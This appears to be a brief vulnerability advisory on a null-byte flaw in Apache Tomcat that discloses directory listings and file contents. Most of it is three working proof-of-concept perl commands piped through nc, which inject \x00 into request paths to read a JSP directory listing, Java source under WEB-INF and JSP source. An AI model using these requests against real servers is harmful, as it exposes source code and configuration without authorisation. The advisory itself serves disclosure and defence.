|
Apache Tomcat Null Byte Directory/File Disclosure Vulnerability
The following proof of concepts were provided: GET /<null byte>.jsp HTTP/1.0 $ perl -e 'print "GET /\x00.jsp HTTP/1.0\r\n\r\n";' | nc my.server 8080 $ perl -e 'print "GET /admin/WEB-INF\\classes/ContextAdmin.java\x00.jsp HTTP/1.0\r\n\r\n";'|nc my.server 8080 $ perl -e 'print "GET /examples/jsp/cal/cal1.jsp\x00.html HTTP/1.0\r\n\r\n";'|nc my.server 8080 |
|
 Privacy Statement |
